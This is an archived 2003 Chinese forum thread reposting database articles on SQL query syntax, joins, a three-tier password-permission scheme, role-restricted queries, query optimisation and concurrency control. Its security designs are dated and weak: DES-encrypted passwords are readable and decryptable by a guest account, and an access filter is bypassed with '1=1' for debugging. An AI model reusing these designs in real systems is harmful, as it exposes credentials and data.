NOT IN (项1,项2……)
模式匹配符(判断值是否与指定的字符通配格式相符):LIKE、NOT LIKE
空值判断符(判断表达式是否为空)：IS NULL、NOT IS NULL
逻辑运算符(用于多条件的逻辑连接)：NOT、AND、OR

1、范围运算符例：age BETWEEN 10 AND 30相当于age>=10 AND age<=30
2、列表运算符例：country IN ('Germany','China')
3、模式匹配符例：常用于模糊查找，它判断列值是否与指定的字符串格式相匹配。可用于char、
varchar、text、ntext、datetime和smalldatetime等类型查询。
可使用以下通配字符：
百分号%：可匹配任意类型和长度的字符，如果是中文，请使用两个百分号即%%。
下划线_：匹配单个任意字符，它常用来限制表达式的字符长度。
方括号[]：指定一个字符、字符串或范围，要求所匹配对象为它们中的任一个。
[^]：其取值也[] 相同，但它要求所匹配对象为指定字符以外的任一个字符。

例如：
限制以Publishing结尾，使用LIKE '%Publishing'
限制以A开头：LIKE '[A]%'
限制以A开头外：LIKE '[^A]%'

4、空值判断符例WHERE age IS NULL

5、逻辑运算符：优先级为NOT、AND、OR

(四)查询结果排序
使用ORDER BY子句对查询返回的结果按一列或多列排序。ORDER BY子句的语法格式为：
ORDER BY {column_name [ASC|DESC]} [,…n]
其中ASC表示升序，为默认值，DESC为降序。ORDER BY不能按ntext、text和image数据类型进行排
序。
例如：
SELECT *
FROM usertable
ORDER BY age desc,userid ASC
另外，可以根据表达式进行排序。

二、联合查询
UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示，即执行联
合查询。UNION的语法格式为：
select_statement
UNION [ALL] selectstatement
[UNION [ALL] selectstatement][…n]
其中selectstatement为待联合的SELECT查询语句。
ALL选项表示将所有行合并到结果集合中。不指定该项时，被联合查询结果集合中的重复行将只保留一
行。
联合查询时，查询结果的列标题为第一个查询语句的列标题。因此，要定义列标题必须在第一个查询语
句中定义。要对联合查询结果排序时，也必须使用第一查询语句中的列名、列标题或者列序号。
在使用UNION 运算符时，应保证每个联合查询语句的选择列表中有相同数量的表达式，并且每个查询选
择表达式应具有相同的数据类型，或是可以自动将它们转换为相同的数据类型。在自动转换时，对于数值类
型，系统将低精度的数据类型转换为高精度的数据类型。
在包括多个查询的UNION语句中，其执行顺序是自左至右，使用括号可以改变这一执行顺序。例如：
查询1 UNION (查询2 UNION 查询3)

三、连接查询
通过连接运算符可以实现多个表查询。连接是关系数据库模型的主要特点，也是它区别于其它类型
数据库管理系统的一个标志。
在关系数据库管理系统中，表建立时各数据之间的关系不必确定，常把一个实体的所有信息存放在
一个表中。当检索数据时，通过连接操作查询出存放在多个表中的不同实体的信息。连接操作给用户带
来很大的灵活性，他们可以在任何时候增加新的数据类型。为不同实体创建新的表，尔后通过连接进行
查询。
连接可以在SELECT 语句的FROM子句或WHERE子句中建立，似是而非在FROM子句中指出连接时有助于
将连接操作与WHERE子句中的搜索条件区分开来。所以，在Transact-SQL中推荐使用这种方法。
SQL-92标准所定义的FROM子句的连接语法格式为：
FROM join_table join_type join_table
[ON (join_condition)]
其中join_table指出参与连接操作的表名，连接可以对同一个表操作，也可以对多表操作，对同一
个表操作的连接又称做自连接。
join_type 指出连接类型，可分为三种：内连接、外连接和交叉连接。内连接(INNER JOIN)使用比
较运算符进行表间某(些)列数据的比较操作，并列出这些表中与连接条件相匹配的数据行。根据所使用
的比较方式不同，内连接又分为等值连接、自然连接和不等连接三种。
外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN)
和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是，外连接不只列出与连接条件相匹
配的行，而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的
数据行。
交叉连接(CROSS JOIN)没有WHERE 子句，它返回连接表中所有数据行的笛卡尔积，其结果集合中的
数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
连接操作中的ON (join_condition) 子句指出连接条件，它由被连接表中的列和比较运算符、逻辑
运算符等构成。
无论哪种连接都不能对text、ntext和image数据类型列进行直接连接，但可以对这三种列进行间接
连接。例如：
SELECT p1.pub_id,p2.pub_id,p1.pr_info
FROM pub_info AS p1 INNER JOIN pub_info AS p2
ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)

(一)内连接
内连接查询操作列出与连接条件匹配的数据行，它使用比较运算符比较被连接列的列值。内连接分
三种：
1、等值连接：在连接条件中使用等于号(=)运算符比较被连接列的列值，其查询结果中列出被连接
表中的所有列，包括其中的重复列。
2、不等连接：在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些
运算符包括>、>=、<=、<、!>、!<和<>。
3、自然连接：在连接条件中使用等于(=)运算符比较被连接列的列值，但它使用选择列表指出查询
结果集合中所包括的列，并删除连接表中的重复列。
例，下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社：
SELECT *
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city

又如使用自然连接，在选择列表中删除authors 和publishers 表中重复列(city和state)：
SELECT a.*,p.pub_id,p.pub_name,p.country
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city

(二)外连接
内连接时，返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件
的行。而采用外连接时，它返回到查询结果集合中的不仅包含符合连接条件的行，而且还包括左表(左外
连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。
如下面使用左外连接将论坛内容和作者信息连接起来：
SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b
ON a.username=b.username

下面使用全外连接将city表中的所有作者以及user表中的所有作者，以及他们所在的城市：
SELECT a.*,b.*
FROM city as a FULL OUTER JOIN user as b
ON a.username=b.username

(三)交叉连接
交叉连接不带WHERE 子句，它返回被连接的两个表所有数据行的笛卡尔积，返回到结果集合中的数
据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
例，titles表中有6类图书，而publishers表中有8家出版社，则下列交叉连接检索到的记录数将等
于6*8=48行。
SELECT type,pub_name
FROM titles CROSS JOIN publishers
ORDER BY type

作者: ccwlm741212 时间: 2003-11-23 13:00
三层次数据库应用中的口令权限管理方案与实现

胡彤声

　　摘　要：一种新型的基于三层次数据库应用思想的口令权限管理方案及其在高速公路收费数据库管理系统中的实现方法。
　　关键词：三层次数据库　加密　口令权限

　　本文针对一个安全性要求很高的管理信息系统——高速公路大型收费数据库管理系统，提出了一种新型的基于三层次的口令权限管理方案。收费站服务器中的数据库采用SQL SERVER6.5，前台用Visual FoxPro 5.0开发用户界面应用程序，用于财务数据查询、收费员交班管理、财务报表打印、通行票证管理、系统维护等业务操作，用Visual C++5.0开发后台数据通信应用程序，用于和车道计算机通信并将收费数据录入数据库。收费站用户可以使用Visual FoxPro 5.0环境、Isql环境等直接与数据库相联，也可通过应用程序登录数据库，还可登录到服务器上对数据库系统进行操作，收费分中心和中心用户通过市话网或ISDN专线远程访问服务器登录数据库。由于数据库中存放的是有关高速公路通行费收入的统计数据，其重要性是不言而喻的。为了有效地规范各类用户的操作权限，保证系统的安全，需要一套可靠的数据安全性管理方案。
1　系统设计思想
1.1　二层数据库应用设计存在的问题
　　目前国内的大型数据库应用系统多采用客户/服务器(Client/Server)应用结构，其口令管理多为1个用户或组有1个口令，用户输入口令后即可直接对数据库进行操作。这种工作方式的应用系统实质上是基于二层的数据库应用模式，是直接面向数据的结构。其优点是结构简单、易于实现，但其有明显的不足：(1)安全性差：通过各类人员的口令确定其权限，泄密可能性大，可能出现非法人员登录。(2)数据完整性差：对数据的直接操作有可能造成异常情况中断操作时数据不完整。(3)效率低：各类用户随机的以单条的SQL语句直接提交给SQL SERVER，加重了网络的负担。
1.2　三层次数据库应用系统设计
　　三层次的数据库应用结构是指“客户-应用-服务器”(Client/Application/Server)的三层次应用结构，其结构见图1。

图1 三层次数据库应用结构

　　数据库的三层次应用结构的特点是将用户和服务器
中SQL SERVER之间的直接操作断开，在二者之间增加1个中间应用层，它的主要任务是将用户的所有操作请求通过Isql操作集，加工成完整的SQL事件(Transction)，提交给数据库管理系统(DBMS)。1个事件可能包含1次请求中的多种数据库操作，而只有这一事件中的多种操作都成功完成时才返回事件完成标志，否则将复原所有操作并返回失败标志。三层次结构的优点是：(1)数据保密性好：数据库只需给中间应用层程序口令权限，而且口令有专门的加密、解密算法控制，极难破解。这样即使有人盗用合法用户的口令，也不能进行应用程序不允许的非法操作。(2)易于人员管理：虽然各类人员拥有登录计算机的口令，但不能直接登录数据库。(3)数据完整性好：各类用户对数据库的操作请求，被应用层加工成了SQL事件，易于保证数据的完整性。(4)网络资源运用合理：由于SQL事件的引入，取代了以往随机的杂乱的单条数据库操作指令，减轻了网络负担。
2　方案实现
　　由于用户没有直接使用数据库的权限，所以本系统的设计重点在于应用程序的口令权限设置。它主要包括：口令加密算法的选择和应用程序对口令的具体操作方法。
2.1　口令加密算法的选择
　　口令明文按选定的加密算法加密存储后，口令设置者以外的任何人，既使看到口令密文，也很难破译成明文，这就需要选择一套良好的密码体制。现有的密码体制分3类：传统密码体制(如Vigenere密码，Caesar密码等)、公开密码体制和数据加密标准(DES)体制。由于本系统主要要求口令的加密，所以我们选用数据加密标准(DES)体制。它是美国国家标准局公布的联邦加密标

准，是重复使用移位变换和替换变换的强块密码(强分组密码)。将明文按64位分组，在64位密钥的控制下，将每组明文转换为等块长的64位密文输出。DES本质上属于一种抗破译能力较强的乘积密码体制。
2.2　应用程序对口令的具体操作方法
　　1.在服务器端，系统超级用户输入应用程序的ID号和口令，口令设置程序按所选加密算法将其加密后，存放在数据库的1个表(Table 1)中，然后只将对这个表的访问权授权给宾客用户(Guest)。
　　2.在客户端，应用程序以Guest的身份，读取Table 1中对应本程序ID号的口令密文，然后按相应解密算法将其转换为明文，用此明文即可登录数据库进行权限内的操作。
　　3.当由于某种原因需要改变某个应用程序的口令时，系统超级用户需输入此应用程序的ID号和原口令，才可设置新的口令。
3　结束语
　　三层次数据库应用方法是对以往两层次数据库应用方法的改进和优化，是数据库应用不断发展的必然趋势。本文讨论的口令权限管理方案是对三层次数据库应用系统的初步尝试。该方案已用于312国道合—宁段高速公路大型收费数据管理系统中，在实践中经过各种复杂情况的考验，逐步完善并得到用户的好评。

作者单位：石家庄电子部五十四所(050081)

参考文献

1　美国运输联邦公路局.交通控制系统手册.北京：人民交通出版社，1998

作者: ccwlm741212 时间: 2003-11-23 13:02
一种安全和限制查询的程序设计思想

洪国瑞

一、引言
　　在电脑处理程序中，根据操作员的级别，赋予不同的权限，执行相应的操作，是一个基本要求。这就是通常的安全性问题。另外，在一个单位内部，由于人员的级别不同，信息查询的范围不同，如在一个学校中，校长要能够查询全校信息，教研室主任只能查询本教研室信息，教师只能查询自己的信息，这个问题我们称为限制查询问题。实际上，这两个问题是相互关联的。在程序开发中，可分两步解决。

二、安全性程序设计思想
　　首先，建立两张表，一张为operator，用于存放操作员工号和姓名。
　　Create Table operator(
　　　opCode Char(6),
　　　opName Char(8),
　　)
　　以下是表中的部分数据：
　　000000　　管理员
　　230010　　张三
　　……　　……
　　另一张表为permissionContro1，用于存放操作员权限控制表。
　　Create Table permissionControl(
　　　　opCode Char(6),
　　　　permissionName Char(20),
　　)
　　以下是表中的部分数据：
　　230010　　录入
　　230010　　查询
　　230010　　统计
　　……　　……
　　在要进行权限控制的函数中，加上权限控制检验函数，进行权限控制。
　　函数名： checkPermission
　　入　口： opCode　　操作员代码
　　　　　　permissionName　　权限名称
　　出　口： Ture 　　具有权限
　　　　　　False　　不具有权限
　　函数checkPermission 的功能就是从表permissionContro1 中，查找是否有opCode 等于入口参数opCode,permissionName 等于入口参数permissionName 的记录，如有，则返Ture ，否则返回False。
　　如在录入函数中，
　　Function inputMainTable()
　　If checkPermisson(p－opCode,“录入”)=False Then
　　 Error“无此权限”
　　 Return
　　End If
　　……
　　程序主体
　　……
　　End Function

三、限制查询程序设计思想
　　限制查询程序的设计思想是在上面的安全思想基础上进行扩充。
　　1.在人员编码中，考虑人员的级别，人员所属部门，即进行规则编码。
　　人员编码为6位，分三个部分：
　　第一部分，第一位，表示人员的级别：
　　0　　校长
　　1　　副校长
　　2　　教研室主任
　　3　　教研室副主任
　　4　　教师
　　第二部分，第二、三两位，科室编码。
　　第三部分，人员流水号。
　　这种人员编码，加进了人员的级别、科室的编码，其目的是为了从人员的编码中，可以方便地判断出人员的级别、所属科室，从而为限制查询提供必要的信息。
　　2.在数据表中，增加业务员代码(ywyCode)字段。
　　3.在输入查询条件后，调用函数getQueryStrings(opCode)返回一字符串。
　　4.将返回的字符串与原来的查询条件AND连接，成为新的查询条件，按这个条件从数据库中Select数据，将满足上述业务需求。
　　以下用Informix－4GL语言，实现上述设计思想的主要语句：
　　Construct By Name qs1 On mainTable.＊
　　Let qs2=“Select＊From mianTable Where”,qs1 Clipped
　　Let queryString=getQueryStrings(p_opCode.opCode)
　　Let qs2=qs2 Clipped, “And”, queryStrings Clipped
　　Prepare preQuery From qs2
　　Declare curQuery Cursor For preQuery
　　Foreach curQuery Into p－policy.＊
　　＃此处是对满足条件的每一条记录的处理
　　End Foreach
　　函数getQueryStrings
　　入口参数： opCode 操作员代码
　　出口参数： strings 根据不同的操作人员，返回不同的查询条件字符串
　　Function getQueryStrings(t_opCode)
　　Define t_opCode Char(3)
　　Define queryStrings Char(100)
　　Case t_opCode[1，1]
　　When “0”
　　When “1”
　　 Let queryStrings=“1=1”
　　When “2”
　　When “3”
　　 Let queryStrings=“ywyCode[2，3]=
　　 \'''',t_opCode[2，3]，''\''''
　　When “4”
　　When “5”
　　 Let queryStrings=“ywyCode=\'''',t_opCode,''\''''
　　End Case
　　Return queryStrings
End Function
　　在函数中，当操作员代码第一位为0或1时，返回1=1，即对查询条件不作任何附加限制。当操作员代码第一位为2或3时，返回ywyCode的第二，第三位等于opCode的第二，第三位。根据编码规则，此操作员为教研室主任，因此限制只能查询本科的。当操作员代码第一位为4或5时，返回ywyCode 等于opCode。根据编码规则，此操作员为业务外勤，因此限制只能查询自己经手的业务。
　　在程序调试中，如觉得不方便，可以在get QueryStrings函数中，始终返回“1=1”。
　　以上两个程序设计思想中，opCode是操作员登录的操作员代码。

作者单位：江苏省盐城市卫生学校(江苏盐城224001)

作者: ccwlm741212 时间: 2003-11-23 13:04
数据库的查询优化技术

张在建

数据库系统是管理信息系统的核心，基于数据库的联机事务处理（OLTP）以及联机分析处理(OLAP)是银行、企业、政府等部门最为重要的计算机应用之一。从大多数系统的应用实例来看，查询操作在各种数据库操作中所占据的比重最大，而查询操作所基于的SELECT语句在SQL语句中又是代价最大的语句。举例来说，如果数据的量积累到一定的程度，比如一个银行的账户数据库表信息积累到上百万甚至上千万条记录，全表扫描一次往往需要数十分钟，甚至数小时。如果采用比全表扫描更好的查询策略，往往可以使查询时间降为几分钟，由此可见查询优化技术的重要性。
笔者在应用项目的实施中发现，许多程序员在利用一些前端数据库开发工具（如PowerBuilder、Delphi等）开发数据库应用程序时，只注重用户界面的华丽，并不重视查询语句的效率问题，导致所开发出来的应用系统效率低下，资源浪费严重。因此，如何设计高效合理的查询语句就显得非常重要。本文以应用实例为基础，结合数据库理论，介绍查询优化技术在现实系统中的运用。
分析问题
许多程序员认为查询优化是DBMS（数据库管理系统）的任务，与程序员所编写的SQL语句关系不大，这是错误的。一个好的查询计划往往可以使程序性能提高数十倍。查询计划是用户所提交的SQL语句的集合，查询规划是经过优化处理之后所产生的语句集合。DBMS处理查询计划的过程是这样的：在做完查询语句的词法、语法检查之后，将语句提交给DBMS的查询优化器，优化器做完代数优化和存取路径的优化之后，由预编译模块对语句进行处理并生成查询规划，然后在合适的时间提交给系统处理执行，最后将执行结果返回给用户。在实际的数据库产品(如Oracle、Sybase等)的高版本中都是采用基于代价的优化方法，这种优化能根据从系统字典表所得到的信息来估计不同的查询规划的代价，然后选择一个较优的规划。虽然现在的数据库产品在查询优化方面已经做得越来越好，但由用户提交的SQL语句是系统优化的基础，很难设想一个原本糟糕的查询计划经过系统的优化之后会变得高效，因此用户所写语句的优劣至关重要。系统所做查询优化我们暂不讨论，下面重点说明改善用户查询计划的解决方案。
解决问题
下面以关系数据库系统Informix为例，介绍改善用户查询计划的方法。
1．合理使用索引
索引是数据库中重要的数据结构，它的根本目的就是为了提高查询效率。现在大多数的数据库产品都采用IBM最先提出的ISAM索引结构。索引的使用要恰到好处，其使用原则如下：
●在经常进行连接，但是没有指定为外键的列上建立索引，而不经常连接的字段则由优化器自动生成索引。
●在频繁进行排序或分组（即进行group by或order by操作）的列上建立索引。
●在条件表达式中经常用到的不同值较多的列上建立检索，在不同值少的列上不要建立索引。比如在雇员表的“性别”列上只有“男”与“女”两个不同值，因此就无必要建立索引。如果建立索引不但不会提高查询效率，反而会严重降低更新速度。
●如果待排序的列有多个，可以在这些列上建立复合索引（compound index）。
●使用系统工具。如Informix数据库有一个tbcheck工具，可以在可疑的索引上进行检查。在一些数据库服务器上，索引可能失效或者因为频繁操作而使得读取效率降低，如果一个使用索引的查询不明不白地慢下来，可以试着用tbcheck工具检查索引的完整性，必要时进行修复。另外，当数据库表更新大量数据后，删除并重建索引可以提高查询速度。
2．避免或简化排序
应当简化或避免对大型表进行重复的排序。当能够利用索引自动以适当的次序产生输出时，优化器就避免了排序的步骤。以下是一些影响因素：
●索引中不包括一个或几个待排序的列；
●group by或order by子句中列的次序与索引的次序不一样；
●排序的列来自不同的表。
为了避免不必要的排序，就要正确地增建索引，合理地合并数据库表（尽管有时可能影响表的规范化，但相对于效率的提高是值得的）。如果排序不可避免，那么应当试图简化它，如缩小排序的列的范围等。
3．消除对大型表行数据的顺序存取
在嵌套查询中，对表的顺序存取对查询效率可能产生致命的影响。比如采用顺序存取策略，一个嵌套3层的查询，如果每层都查询1000行，那么这个查询就要查询10亿行数据。避免这种情况的主要方法就是对连接的列进行索引。例如，两个表：学生表（学号、姓名、年龄……）和选课表（学号、课程号、成绩）。如果两个表要做连接，就要在“学号”这个连接字段上建立索引。
还可以使用并集来避免顺序存取。尽管在所有的检查列上都有索引，但某些形式的where子句强迫优化器使用顺序存取。下面的查询将强迫对orders表执行顺序操作：
SELECT ＊ FROM orders WHERE (customer_num=104 AND order_num>1001) OR order_num=1008
虽然在customer_num和order_num上建有索引，但是在上面的语句中优化器还是使用顺序存取路径扫描整个表。因为这个语句要检索的是分离的行的集合，所以应该改为如下语句：
SELECT ＊ FROM orders WHERE customer_num=104 AND order_num>1001
UNION
SELECT ＊ FROM orders WHERE order_num=1008
这样就能利用索引路径处理查询。
4．避免相关子查询
一个列的标签同时在主查询和where子句中的查询中出现，那么很可能当主查询中的列值改变之后，子查询必须重新查询一次。查询嵌套层次越多，效率越低，因此应当尽量避免子查询。如果子查询不可避免，那么要在子查询中过滤掉尽可能多的行。
5．避免困难的正规表达式
MATCHES和LIKE关键字支持通配符匹配，技术上叫正规表达式。但这种匹配特别耗费时间。例如：SELECT ＊ FROM customer WHERE zipcode LIKE “98_ _ _”
即使在zipcode字段上建立了索引，在这种情况下也还是采用顺序扫描的方式。如果把语句改为SELECT ＊ FROM customer WHERE zipcode >“98000”，在执行查询时就会利用索引来查询，显然会大大提高速度。
另外，还要避免非开始的子串。例如语句：SELECT ＊ FROM customer WHERE zipcode[2，3] >“80”，在where子句中采用了非开始子串，因而这个语句也不会使用索引。
6．使用临时表加速查询
把表的一个子集进行排序并创建临时表，有时能加速查询。它有助于避免多重排序操作，而且在其他方面还能简化优化器的工作。例如：
SELECT cust.name，rcvbles.balance，……other columns
FROM cust，rcvbles
WHERE cust.customer_id = rcvlbes.customer_id
AND rcvblls.balance>0
AND cust.postcode>“98000”
ORDER BY cust.name
如果这个查询要被执行多次而不止一次，可以把所有未付款的客户找出来放在一个临时文件中，并按客户的名字进行排序：
SELECT cust.name，rcvbles.balance，……other columns
FROM cust，rcvbles
WHERE cust.customer_id = rcvlbes.customer_id
AND rcvblls.balance>0
ORDER BY cust.name
INTO TEMP cust_with_balance
然后以下面的方式在临时表中查询：
SELECT ＊ FROM cust_with_balance
WHERE postcode>“98000”
临时表中的行要比主表中的行少，而且物理顺序就是所要求的顺序，减少了磁盘I/O，所以查询工作量可以得到大幅减少。
注意：临时表创建后不会反映主表的修改。在主表中数据频繁修改的情况下，注意不要丢失数据。
7．用排序来取代非顺序存取
非顺序磁盘存取是最慢的操作，表现在磁盘存取臂的来回移动。SQL语句隐藏了这一情况，使得我们在写应用程序时很容易写出要求存取大量非顺序页的查询。
有些时候，用数据库的排序能力来替代非顺序的存取能改进查询。
实例分析
下面我们举一个制造公司的例子来说明如何进行查询优化。制造公司数据库中包括3个表，模式如下所示：
1．part表
零件号?????零件描述????????其他列
（part_num）?（part_desc）??????（other column）
102，032???Seageat 30G disk?????……
500，049???Novel 10M network card??……
……
2．vendor表
厂商号??????厂商名??????其他列
（vendor _num）?（vendor_name）（other column）
910，257?????Seageat Corp???……
523，045?????IBM Corp?????……
……
3．parven表
零件号?????厂商号?????零件数量
（part_num）?（vendor_num）?（part_amount）
102，032????910，257????3,450,000
234，423????321，001????4，000，000
……
下面的查询将在这些表上定期运行，并产生关于所有零件数量的报表：
SELECT part_desc，vendor_name，part_amount
FROM part，vendor，parven
WHERE part.part_num=parven.part_num
AND parven.vendor_num = vendor.vendor_num
ORDER BY part.part_num
如果不建立索引，上述查询代码的开销将十分巨大。为此，我们在零件号和厂商号上建立索引。索引的建立避免了在嵌套中反复扫描。关于表与索引的统计信息如下：
表?????行尺寸???行数量?????每页行数量???数据页数量
（table）?(row size)?（Row count）?（Rows/Pages）?（Data Pages）
part????150?????10，000????25???????400
Vendor???150?????1，000???? 25???????40
Parven???13????? 15，000????300?????? 50
索引?????键尺寸???每页键数量???页面数量
（Indexes）?(Key Size)?（Keys/Page)???(Leaf Pages）
part?????4??????500???????20
Vendor????4??????500???????2
Parven????8??????250???????60
看起来是个相对简单的3表连接，但是其查询开销是很大的。通过查看系统表可以看到，在part_num上和vendor_num上有簇索引，因此索引是按照物理顺序存放的。parven表没有特定的存放次序。这些表的大小说明从缓冲页中非顺序存取的成功率很小。此语句的优化查询规划是：首先从part中顺序读取400页，然后再对parven表非顺序存取1万次，每次2页（一个索引页、一个数据页），总计2万个磁盘页，最后对vendor表非顺序存取1.5万次，合3万个磁盘页。可以看出在这个索引好的连接上花费的磁盘存取为5.04万次。
实际上，我们可以通过使用临时表分3个步骤来提高查询效率：
1．从parven表中按vendor_num的次序读数据：
SELECT part_num，vendor_num，price
FROM parven
ORDER BY vendor_num
INTO temp pv_by_vn
这个语句顺序读parven（50页），写一个临时表（50页），并排序。假定排序的开销为200页，总共是300页。
2．把临时表和vendor表连接，把结果输出到一个临时表，并按part_num排序：
SELECT pv_by_vn，＊ vendor.vendor_num
FROM pv_by_vn，vendor
WHERE pv_by_vn.vendor_num=vendor.vendor_num
ORDER BY pv_by_vn.part_num
INTO TMP pvvn_by_pn
DROP TABLE pv_by_vn
这个查询读取pv_by_vn(50页)，它通过索引存取vendor表1.5万次，但由于按vendor_num次序排列，实际上只是通过索引顺序地读vendor表（40＋2=42页），输出的表每页约95行，共160页。写并存取这些页引发5＊160=800次的读写，索引共读写892页。
3．把输出和part连接得到最后的结果：
SELECT pvvn_by_pn.＊，part.part_desc
FROM pvvn_by_pn，part
WHERE pvvn_by_pn.part_num=part.part_num
DROP TABLE pvvn_by_pn
这样，查询顺序地读pvvn_by_pn(160页)，通过索引读part表1.5万次，由于建有索引，所以实际上进行1772次磁盘读写，优化比例为30∶1。笔者在Informix Dynamic Sever上做同样的实验，发现在时间耗费上的优化比例为5∶1(如果增加数据量，比例可能会更大)。
小?结
20％的代码用去了80％的时间，这是程序设计中的一个著名定律，在数据库应用程序中也同样如此。我们的优化要抓住关键问题，对于数据库应用程序来说，重点在于SQL的执行效率。查询优化的重点环节是使得数据库服务器少从磁盘中读数据以及顺序读页而不是非顺序读页。

作者: ccwlm741212 时间: 2003-11-23 13:04
数据库应用中并发控制若干实现途径

张在建

一．引言
并发控制是指在多用户的环境下，对数据库进行并发操作进行规范的机制。其目的是为了避免对数据的丢失修改、读脏数据与不可重复读等，从而保证数据的正确性与一致性。并发控制在多用户的模式下是十分重要的，但这一点经常被一些数据库开发人员忽视，而且因为并发控制的层次和类型非常丰富，有时使人在选择时比较迷惑，不清楚衡量并发控制层次选择的原则和途径。本文将从一个例子入手，结合数据库理论的相关知识，对数据库应用中并发控制的途径、方法做出一个较全面的总结，希望能帮助读者找到合理的并发控制方法。
二．一个并发控制失败的例子
为了更好的理解并发控制的概念，我们先重复一个经常列举的例子。先给出银行数据库中一个经过简化的帐户表(account)信息的数据字典定义，以后我们都将会以此表作为示例。
列名称  列代码  列类型
帐户号  Id（键值列） Char(10)
户主  Uname Char(10)
存入金额  Mdeposit Currency
支出金额  Mpayout  Currency
存款余额  Mbalance Currency
这个例子是在客户程序与服务器端数据库的会话过程中产生的：某户主代表在银行前台取款2,000元,银行出纳查询用户的存款信息显示银行存款余额20,000元;正在这时,另一银行帐户转帐支票支付该帐户5,000元,机器查询也得到当前用户存款20,000元,这时银行的出纳员看到用户存款超过了取款额,就支付了客户2,000元并将用户存款改为18,000元,然后银行的另一名操作员根据支票,将汇入的5,000元加上,把用户的余额改为25,000元。很明显银行将会损失2000元，因为另一个出纳员所做的修改被覆盖了。
这是由于对并发操作控制的失败造成的，由于没有对两个并发操作进行合理的隔离，对数据进行合理的锁定，导致经出纳员查询所得到的客户端数据集与数据库的数据出现不一致，结果便产生了丢失修改。
三．数据库并发控制理论基础
在此对并发控制中经常用到的概念略做解释，具体内容请读者查资料。事务是数据库中一个重要概念，它是一系列要么都做，要么都不做的程序集合，是数据库并发控制的单位。事务并发控制不当的话，可以产生丢失修改、读脏数据、不可重复读等数据不一致。但在应用中为了并发度的提高，可以容忍一些这样的不一致，例如大多数业务逻辑经适当的调整以后是可以容忍不可重复读的。当今流行的关系数据库系统（如oracle，sql server等）是通过事务隔离级别（TRANSACTION ISOLATION LEVEL）与封锁机制来定义并发控制所要达到的目标的，根据其提供的协议，我们可以得到几乎任何类型的合理的并发控制方式。例如，Microsoft sql server系统中有四种锁：共享锁，排它锁，意向锁（又分为共享意向锁，排它意向锁，共享意向排它锁），修改锁。各种锁之间有确定的相容关系。有四种事务隔离级别：未提交读、提交读、可重复读、串行化读，不同的隔离级别所规定的封锁协议不同。这一部分内容非常之丰富，足足可以写一本书，篇幅所限，不拟细述，有关内容请查阅数据库理论方面的教材。
封锁类型与隔离级别如此之丰富，那么选择时到底本着一个什么原则呢？那就是数据一致性要求与并发度两个方面。例如四种隔离级别数据一致性依次升高，但并发度依次降低，一般系统默认的隔离级别是提交读。一般来说这可以满足应用的要求了，但这种隔离级别不能避免不可重复读的现象，就是说在你浏览数据库记录的期间，不同时间读的同一条记录可以有不同的内容。有时需要动态的通过sql语句来改变其封锁状态或者隔离级别。
四．并发控制技术的实现途径
并发控制的实现途径有多种，如果DBMS支持的话，当然最好是运用其自身的并发控制能力。如果系统不能提供这样的功能，可以借助开发工具的支持，还可以考虑调整数据库应用程序，而且有的时候可以通过调整工作模式来避开这种会影响效率的并发操作。笔者对各种策略做了一个总结，主要有一下几点：
（一）调整工作模式，修改应用程序，避免不必要的并发。
这在某些情况下是可行的，例如规定录入人员只能修改自己所创造的记录，那么就不会出现并发操作中的各种错误，因为这时各个不同的用户所能更新的记录不会发生重合。这种情况下，需要在数据库表中增加用户列。在用户浏览记录时，将用户列作为一个过滤条件，对应用程序的sql语句做相应的调整。但这种策略的作用有限，因为在大量情况下，并发控制不可避免。
（二）借助于DBMS的功能。
大型关系系统都有比较好的并发控制功能。例如可以采用更新游标、显式加锁、更改事务隔离级别等等。当然在其使用方面有很多注意的技巧，如：（1）事务定义最好不要包含客户交互部分。（2）只有在数据一致性要求特别严格，但并发度要求不高的时候采用可重复读与可串行读的隔离级别。（3）在同一个事务当中，要适当根据需要来变更数据的锁定级别，但一般情况下不要用TABLOCK这样粗粒度的封锁。（4）不同事务之间可以根据并发度的需要来显式设定隔离级别。（5）在包含客户交互的操作中使用游标，并尽可能缩短交互时间。
我们看一个informix数据库中采用更新游标的例子。定义更新游标语法：DECLARE CURSOR-name CURSOR FOR SELECT-statement FOR UPDATE[OF column-list]。更新游标在完成数据的浏览和修改时，要对当前的记录隐式加锁，注意更新游标只对可更新视图有效。为了提高并发度，经常要结合滚动游标来使用，滚动游标定义方法：DECLARE CURSORname SCROLL CURSOR[with hold] FOR SELECTstatement），不过滚动游标不对当前的记录加锁。
下段代码完成客户对帐户内容的浏览和修改，代码采用informix的esql/c（以c语言作为宿主语言）来编写，展示了更新游标的使用方法：
$DECLARE mycurs CURSOR FOR SELECT Mdeposit,Mpayout,Mbalance FROM acount FOR UPDATE; //定义更新游标
$OPEN mycurs; //打开游标
for(;

{$FETCH mycurs INTO $ Mdeposit,$Mpayout,$Mbalance;// 从游标中读记录
if sqlcode=SQLNOTFOUND then exit;//如果记录取完，则退出循环
….//显示记录内容给用户
….//如果用户决定要修改记录，则继续执行
$UPDATE acount SET (Mdeposit,Mpayout,Mbalance)=
($Mdeposit,$Mpayout,$Mbalance) WHERE CURRENT of mycurs;//更新数值
}
带有FOR UPDATE的游标语句有加锁功能。看上面的代码，在进行FETCH操作以后，游标所指向的当前记录被加共享锁，当用户决定要修改时，将该记录上的锁提升为排它锁。那么此时其它用户不可以更新此记录。这种方法有个缺点，就是即使用户不对当前记录进行修改，也要对当前的记录加锁，影响了并发度，那么此时可以采用的一个方法是：（1）定义一个滚动游标来完成查询；（2）获取游标的一个记录，显示给用户；（2）用户浏览记录，直到要修改或者删除的记录；（3）当用户选择修改一个记录时，为用户想要修改的记录定义一个更新游标（4）使用更新游标获取记录，并重新显示锁定的记录；（5）更新这个记录。那么上面的程序就可以更改为：
